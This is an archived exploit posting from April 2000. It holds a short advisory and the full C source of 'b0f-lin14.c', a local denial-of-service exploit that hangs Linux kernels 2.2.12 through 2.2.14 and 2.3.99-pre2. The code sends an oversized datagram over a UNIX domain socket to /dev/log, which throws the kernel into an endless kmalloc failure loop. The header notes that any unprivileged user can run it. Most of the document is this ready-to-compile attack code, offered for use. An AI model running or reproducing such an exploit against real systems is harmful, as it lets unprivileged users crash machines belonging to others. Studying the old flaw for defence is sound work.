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b0f-lin14.c

b0f-lin14.c
Posted Apr 3, 2000
Authored by eth0 | Site b0f.freebsd.lublin.pl

The following userspace code will locally hang recent linux machines. The send system call immediately puts the kernel in a loop spewing kmalloc: Size (131076) too large. Linux 2.2.14 and 2.3.99-pre2 are vulnerable.

tags | kernel
systems | linux
SHA-256 | 45b0fb037bd3274c47ba26f3c0a580d1dddbc4ee423482056d3cda35938d40b1

b0f-lin14.c

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/*            [http://b0f.morphed.net] - eth0                */
/* */
/* Vulnerable
Linux 2.2.12
Linux 2.2.13
Linux 2.2.14
Linux 2.3.99-pre2

The following exploit code will hang any Linux machine on various
Pentium
platforms.
Note that this does not require any special privileges, and any user
can

compile and run it, so watch out kiddies...

The send system call immediately puts the kernel in a loop spewing
kmalloc: Size
(131076) too large forever (or until you hit the reset button).

Apparently UNIX domain sockets are ignoring the
/proc/sys/net/core/wmem_max parameter,
despite the documentation to the contrary.

[code provided by eth0 from b0f security]
[information provided by Jay Fenlason]
[http://b0f.morphed.net]
[buffer0verfl0w security]
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>


char buf[128 * 1024];

int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;

for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';

SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}
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